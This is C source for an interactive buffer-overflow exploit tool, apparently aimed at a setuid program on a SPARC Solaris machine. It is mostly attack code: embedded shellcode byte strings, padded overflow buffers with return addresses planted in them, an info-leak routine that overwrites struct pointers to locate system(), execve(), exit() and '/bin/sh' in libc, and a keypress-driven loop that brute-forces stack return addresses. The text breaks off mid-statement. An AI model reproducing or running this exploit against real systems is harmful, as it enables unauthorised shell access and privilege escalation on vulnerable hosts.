"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01" "\x80\x18\x40\x01\x11\x0b\xd8\x9a\x90\x12\x21\x6e\xd0\x23\xa0\x54" "\x11\x0b\xdc\xda\xd0\x23\xa0\x58\x11\x0b\x5a\x40\xd0\x23\xa0\x5c" "\xc0\x23\xa0\x60\x90\x03\xa0\x54\xd0\x23\xa0\x48\x90\x03\xa0\x5c" "\xd0\x23\xa0\x4c\xc0\x23\xa0\x50\x90\x03\xa0\x54\x92\x03\xa0\x48" "\x94\x1b\x40\x0d\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\x40\x0d" "\x82\x10\x20\x01\x91\xd0\x20\x08\xff\xbe\xfe\x68\xff\x31\x50\xa4" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"; struct termios tty_state_orig, tty_state_mod; pid_t cpid = -1; int fdmax = 0; int fd_master=-1, fd_slave=-1; int logfd=-1; pid_t shell_pid=-1; /********************************************************************* III N N FFFFFF 0000 I N N N FF 0 0 I N N N FFFF 0 0 III N N F 0000 PPPPPP P P P P EEEEE EEEEE K K P P E E E E K K P E E E E K K P eeeee eeeee K K **********************************************************************/ // boolean flags char automate=0; // automate querying process (Needs modes to select from Libc and its subset, and Stack-space) char peek_libc=0, peek_binsh=0, peek_system=0, peek_exit=0, peek_execve; char peek_stack=0; char query_fp_addr=0; const uint32_t Param_set_iBuf_index = 1560; // STACK uint32_t peek_addr = 0xff3234f0; // 0xff328354; //0xff3234f0; //0xFF280000; //0xff31a504; //ff\x32\xa5\x04 // System() uint32_t libc_system_addr=0xff311004, libc_system_addr_start; char libc_system_possible_match=0; char system_stage=0; // stages // 0) find call <execve> // 1) find the 'save' before the call // Exit() uint32_t libc_exit_addr=0xff320200; //0xff311004; uint32_t retrestore_addr=0xff318234; // blade72 uint32_t libc_execve_addr=0xff31c65c; //0xff31ceb8;// blade72 //0xff31d174; uint32_t libc_exit_addr_start; // _start used to mark the beginning of potential function char libc_exit_possible_match=0; // "/bin/sh" uint32_t libc_binsh_addr=0xff3296a8; //blade 72 // doesnt need _start since it's just a string uint32_t libc_MIN_addr = 0xFF280100; uint32_t libc_MAX_addr = 0xFF32C000; char buff3[BUFF_SIZE] = "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\xff\xbe\xa6\xdc\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70" "\x70\x70\x70\x70\x70\x70\x70\x70\xff\x32\xa5\x04\xff\x32\xa0\xc4" "\xff\x32\xa0\xc4\x0a"; // not used... write_info_leak(char *buf, int n) { write(fd_master, buf, n); } // send_peek_overflow() { buff3[Param_set_iBuf_index+12] = 0x0a; write(fd_master,buff3, Param_set_iBuf_index+12+1); //(sizeof(struct param_set)*3) // 1572 // 1560 + 12 bytes of peek // 12 = 4*3, 3 4-byte addresses.. // we overflow all 3 MANDATORY because the 0x0a would overwrite // a string pointer it could try to read from bad memory.. // so we overflow into the unused 4th pointer.. } write_peek_addrs() { // 1) [STACK SEARCH] // 2) [System() SEARCH] // 3) [Exit() SEARCH] // 4) [/bin/sh SEARCH] struct param_set *p; //char *gr_name; //char *course_name; //char *instructor; p = (struct param_set *)&buff3[Param_set_iBuf_index]; if (peek_stack) { p[STACK_LINE_NUM-1].gr_name = (char *)peek_addr; p[STACK_LINE_NUM-1].course_name = (char *)peek_addr; p[STACK_LINE_NUM-1].instructor = (char *)peek_addr; } if (peek_system) { p[SYSTEM_LINE_NUM-1].gr_name = (char *)libc_system_addr; p[SYSTEM_LINE_NUM-1].course_name = (char *)libc_system_addr; p[SYSTEM_LINE_NUM-1].instructor = (char *)libc_system_addr; } if (peek_execve) { p[EXECVE_LINE_NUM-1].gr_name = (char *)libc_execve_addr; p[EXECVE_LINE_NUM-1].course_name = (char *)libc_execve_addr; p[EXECVE_LINE_NUM-1].instructor = (char *)libc_execve_addr; } if (peek_exit) { p[EXIT_LINE_NUM-1].gr_name = (char *)libc_exit_addr; p[EXIT_LINE_NUM-1].course_name = (char *)libc_exit_addr; p[EXIT_LINE_NUM-1].instructor = (char *)libc_exit_addr; } if (peek_binsh) { p[BINSH_LINE_NUM-1].gr_name = (char *)libc_binsh_addr; p[BINSH_LINE_NUM-1].course_name = (char *)libc_binsh_addr; p[BINSH_LINE_NUM-1].instructor = (char *)libc_binsh_addr; } } CTRL_Peek() { // Here we make a menu for the user to select // PEEK SELECT // 1) Stack // // Ask for stack start address [which will increment] // 2) LibC /* 2a) system() 2b) exit() 2c) /bin/sh */ char selection[10]; stty_cooked(STDIN_FILENO); fprintf(stderr, "\nPEEK SELECT\n"); fprintf(stderr, "1) Stack\n"); fprintf(stderr, "2) LibC\n"); fprintf(stderr, "\ta) /bin/sh\\0\n"); fprintf(stderr, "\tb) execve()\n"); fprintf(stderr, "\tc) system()\n"); fprintf(stderr, "\td) exit()\n"); fprintf(stderr, "you do stuff like 2abc to specify all LibC options at once\n"); fprintf(stderr, ": "); // or 2ac 2ab etc. // scanf("%s", &selection); getchar(); // clear return key // IDGAF about buffer overflow if (strchr(selection, '1')) { char baddr[20]; //unsigned long addr; print("you selected stack\n"); peek_addr = getaddr_from_user("Please enter a base address [0xffbee001]: "); if (peek_addr == 0) { goto end; } else if (peek_addr == 1) { print("using default addr\n"); peek_addr = 0xffbee001; } peek_stack=1; //peek_libc=0; print("All set. You may now enter automation mode after entering the apply\n\ program with CTRL-A in raw mode\n\n"); } if (strchr(selection, '2')) { char buf[200]; uint32_t addr; print("you selected LibC\n"); if (strchr(selection, 'a')) { sprintf(buf, "/bin/sh: specify start search addr [0x%lx]: ", libc_binsh_addr); addr = getaddr_from_user(buf); if (addr == 0) { print("Bad address... Not going to peek :(\n"); goto end; } else if (addr == 1) { print("Using default binsh_addr 0x%lx :(\n", libc_binsh_addr); } else libc_binsh_addr = addr; peek_binsh=1; peek_exit=0; peek_system=0; } if (strchr(selection, 'b')) { sprintf(buf, "execve(): specify start search addr [0x%lx]: ", libc_execve_addr); addr = getaddr_from_user(buf); if (addr == 0) { print("Bad address... Not going to peek :(\n"); goto end; } else if (addr == 1) { print("Using default system_addr 0x%lx :(\n", libc_execve_addr); } else libc_execve_addr = addr; peek_binsh=0; peek_exit=0; peek_system=0; peek_execve=1; } if (strchr(selection, 'c')) { sprintf(buf, "system(): specify start search addr [0x%lx]: ", libc_system_addr); addr = getaddr_from_user(buf); if (addr == 0) { print("Bad address... Not going to peek :(\n"); goto end; } else if (addr == 1) { print("Using default system_addr 0x%lx :(\n", libc_system_addr); } else libc_system_addr = addr; if (libc_execve_addr == 0) { again: addr = getaddr_from_user("Specify precise execve() address: "); if (addr == 0) { print("Bad address... Not going to peek :(\n"); goto end; } else if (addr == 1) { goto again; } else libc_execve_addr = addr; } peek_binsh=0; peek_exit=0; peek_system=1; peek_execve=0; } if (strchr(selection, 'd')) { sprintf(buf, "exit(): specify start search addr [0x%lx]: ", libc_exit_addr); addr = getaddr_from_user(buf); if (addr == 0) { print("Bad address... Not going to peek :(\n"); goto end; } else if (addr == 1) { print("Using default exit_addr 0x%lx\n", libc_exit_addr); } else libc_exit_addr = addr; peek_binsh=0; peek_exit=1; peek_system=0; peek_execve=0; } if (!(peek_exit|peek_system|peek_binsh|peek_execve)) { // no selection was made... print ("No selection was made.. not going to peek.. :(\n\n"); goto end; } peek_libc=1; //peek_stack=0; print ("I didn't check your input hard-core, but if you're smart\n" "just enter apply and then hit CTRL-A for automation. good luck!!"); } //selection = getchar(); //selection = (selection - '0') % 48; //fprintf(stderr, "You selected %d\n", selection); end: stty_raw(STDIN_FILENO); } /*******************************************************/ // UTILITY FUNC updown_calc(uint32_t base, uint32_t moveamt, char reset ) { static char count=1; static char updown=1; // up = 1, down = 0 //uint32_t base = 0xFFBEF400; // middle-of-stack //static uint32_t moveamt = 1004-16; // #bytes of nop - 8 to give some gift uint32_t result; //calculated return address char r; //remainder for 4-byte-alignment check // 0xFFBEF000 // from here can go up $1000 or down $1000 if (reset) { count=1; updown=1; } if (updown) { result = base + (moveamt*count); if ( (r=result%4) ) { for (; r > 0; r--) { result--; } } if (result > 0xFFBEFFFF) result = 0xFFBEFFA0; } else { result = base - (moveamt*count); if ( (r=result%4) ) { for (; r>0; r--) { result++; } } if (result < 0xFFBEE000) result = 0xFFBEE000; } updown = !updown; if (updown) { //moveamt = 2; count++; } } // signal handlers void sighup (int sig) { sig = sig; /*if (close(fd_slave) < 0) perror("Close slave failed"); if (close(fd_master) < 0) perror("Close master failed: "); if (close(logfd) < 0) perror("Close master failed: ");*/ exit(0); } void sigpipe (int sig) { sig = sig; //snoopfd = -1; signal (SIGPIPE, sigpipe); } void sigchld (int sig) { int status, pid; sig = sig; print("DIE BITCHES\n"); wait(&status); raise (SIGHUP); signal (SIGCHLD, sigchld); } // taken from snooptty int stty_raw (int fd) { struct termios tty_state; int i; if (tcgetattr(fd, &tty_state) < 0) { perror("tcgetattr failed: "); return (-1); } //if (save) //tty_state; tty_state.c_lflag &= ~(ICANON | IEXTEN | ISIG | ECHO); tty_state.c_iflag &= ~(ICRNL | INPCK | ISTRIP | IXON | BRKINT); tty_state.c_oflag &= ~OPOST; tty_state.c_cflag |= CS8; tty_state.c_cc[VMIN] = 1; tty_state.c_cc[VTIME] = 0; tty_state_mod = tty_state; if (tcsetattr(fd, TCSAFLUSH, &tty_state) < 0) { perror("tcgetattr failed: "); return (-1); } return (0); } int stty_cooked (int fd) { if (tcsetattr(fd, TCSANOW, &tty_state_orig) < 0) { perror("tcgetattr failed: "); return (-1); } return (0); } void finish() { //remove("/home/bazz/latest/pty/test.txt"); if (close(fd_slave) < 0) perror("Close slave failed"); if (close(fd_master) < 0) perror("Close master failed: "); if (close(logfd) < 0) perror("Close master failed: "); //kill(shell_pid, 9); if (tcsetattr(STDIN_FILENO, TCSANOW, &tty_state_orig) < 0) { perror("tcgetattr failed: "); return; // (-1); } } void print (const char *fmt, ...) { va_list args; va_start (args, fmt); vfprintf (stderr, fmt, args); //exit (1); } int fdprintf (int fd, char *fmt, ...) { va_list args; int r; char str[256]; va_start (args, fmt); r = vsprintf(str, fmt, args); write (fd, str, r); return (r); } int main (int argc, char *argv[], char **envp) { if (!isatty(STDIN_FILENO)) printf ("stdin is not a tty\n"); atexit(finish); //init signal (SIGPIPE, sigpipe); signal (SIGCHLD, sigchld); signal (SIGHUP, sighup); // shell_pid = getppid(); memset(&buff2[buff2_fsf1_offset], 0x41, 0x100); memset(&buff3[Param_set_iBuf_index], 0x41, 5000); //write_peek_addrs(); struct param_set *p; p = (struct param_set *)&buff3[Param_set_iBuf_index]; p[STACK_LINE_NUM-1].gr_name = (char *)peek_addr; p[STACK_LINE_NUM-1].course_name = (char *)peek_addr; p[STACK_LINE_NUM-1].instructor = (char *)peek_addr; p[SYSTEM_LINE_NUM-1].gr_name = (char *)libc_system_addr; p[SYSTEM_LINE_NUM-1].course_name = (char *)libc_system_addr; p[SYSTEM_LINE_NUM-1].instructor = (char *)libc_system_addr; p[EXIT_LINE_NUM-1].gr_name = (char *)libc_exit_addr; p[EXIT_LINE_NUM-1].course_name = (char *)libc_exit_addr; p[EXIT_LINE_NUM-1].instructor = (char *)libc_exit_addr; p[BINSH_LINE_NUM-1].gr_name = (char *)libc_binsh_addr; p[BINSH_LINE_NUM-1].course_name = (char *)libc_binsh_addr; p[BINSH_LINE_NUM-1].instructor = (char *)libc_binsh_addr; // Open Master device printf("Opening master device\n"); ////sleep(1); fd_master = open("/dev/ptmx", O_RDWR); if (fd_master < 0) perror("opening master failed\n"); /// Grantpt printf("Doing Grantpt()\n"); ////sleep(1); if (grantpt(fd_master) < 0) perror("Grantpt Master failed\n"); ///Unlockpt printf("Unlocking pt\n"); ////sleep(1); if (unlockpt(fd_master) < 0) perror("Unlockpt Master failed\n"); struct termios term; struct winsize twin; printf("getting stdin termios\n"); if (tcgetattr (STDIN_FILENO, &term) < 0) perror("tcgetattr failed\n"); tty_state_orig = term; printf("getting window settings\n"); if (ioctl (STDIN_FILENO, TIOCGWINSZ, (char *) &twin) < 0) perror("ioctl TCIOCGWINSZ failed\n"); // ptsname() char *slavename; printf("---Getting slave name\n"); ////sleep(1); slavename = ptsname(fd_master); if (slavename == NULL) perror("---ptsname failed\n"); // opening Slave printf("---Opening slave\n"); ////sleep(1); fd_slave = open(slavename, O_RDWR); if (fd_slave < 0) { printf("---open(%s) failed\n",slavename); perror("---"); } //// // THE BIG FORK ///////// ///////// printf("Forking\n"); sleep(1); cpid = fork(); if (cpid == 0) { printf("in CHILD: \n"); //setsid() printf("---Setsid()\n"); if (setsid() < 0) perror("---setsid failed\n"); // Pushing modules to slave printf("---Pushing ptem module to slave\n"); ////sleep(1); if (ioctl(fd_slave, I_PUSH, "ptem") == -1) perror("---pushing ptem module failed\n"); printf("---Pushing ldterm module to slave\n"); ////sleep(1); if (ioctl(fd_slave, I_PUSH, "ldterm") == -1) perror("---Pushing ldterm module failed\n"); printf("---setting term settings\n"); fflush(stdout); if (tcsetattr(fd_slave, TCSANOW, &term) < 0) perror ("---can't set termios\n"); printf("---setting window settings\n"); if (ioctl(fd_slave, TIOCSWINSZ, &twin) < 0) perror ("---can't set winsize\n"); if (dup2(fd_slave, STDIN_FILENO) != STDIN_FILENO) perror ("---can't dup2 into stdin\n"); if (dup2(fd_slave, STDOUT_FILENO) != STDOUT_FILENO) perror ("---can't dup2 into stdout\n"); if (dup2(fd_slave, STDERR_FILENO) != STDERR_FILENO) perror ("---can't dup2 into stderr\n"); //if (fd_slave > STDERR_FILENO) //close (fd_slave); stty_raw(STDIN_FILENO); execle("/bin/bash","/bin/bash",0,envp); if (execle("/home/bazz/latest/invoke2","/home/bazz/latest/invoke2", "v", (char*) 0, envp) < 0) perror("---execle error!\n"); printf("---exiting\n"); fflush(stdout); sleep(5); exit(-1); } if (cpid > 0) { fd_set readset; int cexit; // child exit code int len, n, sel, susp = 0; char logfile[] = "/tmp/log.txt"; logfd = open(logfile, O_CREAT|O_APPEND|O_WRONLY, S_IRWXU|S_IRWXG|S_IRWXO); if (logfd < 0) perror("opening log file failed\n"); printf("In Parent: \n"); /*printf("Telling master to forward SIGINT signals to slave\n"); ////sleep(1); if (ioctl(fd_master, TIOCSIGNAL, SIGINT) < 0) perror("Setting master to forward sigint to slave failed\n");*/ stty_raw (STDIN_FILENO); //stty_raw (fd_master); fdmax = max(STDIN_FILENO, fd_slave); while (1) { do { FD_ZERO (&readset); FD_SET (STDIN_FILENO, &readset); FD_SET (fd_master, &readset); sel = select(fdmax + 1, &readset, NULL, NULL, NULL); } while (sel == -1 && errno == EINTR); if (sel == -1 && errno != EINTR) { printf ("select failed. errno = %d\n", errno); perror(""); } if (FD_ISSET(STDIN_FILENO, &readset)) { if ((n = read(STDIN_FILENO, buff, BUFF_SIZE)) < 1) exit (0); buff[n] = 0; if (strchr(buff,1)) // CTRL-A automate { automate = !automate; continue; } else if (strchr(buff,4)) // CTRL-D send buffer overflow { int i; //buff2[6000] = 0x0a; //buff2[6001] = 0x00; write (fd_master,buff2,buff2_fsf1_i7+4+12);///1104); //write (fd_master,"\x0a",1); //fflush(fd_master); //for (i=0;i < 421; i++) // write (STDIN_FILENO, buff2[i], 1); continue; } else if (strchr(buff,6)) // CTRL-F { int i; //buff2[6000] = 0x0a; //buff2[6001] = 0x00; send_peek_overflow(); //write (fd_master,"\x0a",1); //fflush(fd_master); //for (i=0;i < 421; i++) // write (STDIN_FILENO, buff2[i], 1); continue; } else if (strchr(buff,12)) // CTRL-L { //int i; //buff2[6000] = 0x0a; //buff2[6001] = 0x00; peek_addr+=4; fprintf (stderr, "peekaddr = 0x%04x\n", peek_addr); write_peek_addrs(); //write (fd_master,"\x0a",1); //fflush(fd_master); //for (i=0;i < 421; i++) // write (STDIN_FILENO, buff2[i], 1); continue; } else if (strchr(buff, 0x13)) // CTRL-S { // Do the algorithm static char count=1; static char updown=1; // up = 1, down = 0 uint32_t MOS = 0xFFBEF400; // middle-of-stack static uint32_t bon = 1004-16; // #bytes of nop - 8 to give some gift uint32_t calc_RA; //calculated return address char r; //remainder for 4-byte-alignment check // 0xFFBEF000 // from here can go up $1000 or down $1000 if (updown) { calc_RA = MOS + (bon*count); if ( (r=calc_RA%4) ) { for (; r; r--) { calc_RA--; } } if (calc_RA > 0xFFBEFFFF) calc_RA = 0xFFBEFFA0; } else { calc_RA = MOS - (bon*count); if ( (r=calc_RA%4) ) { for (; r; r--) { calc_RA++; } } if (calc_RA < 0xFFBEE000) calc_RA = 0xFFBEE000; } updown = !updown; if 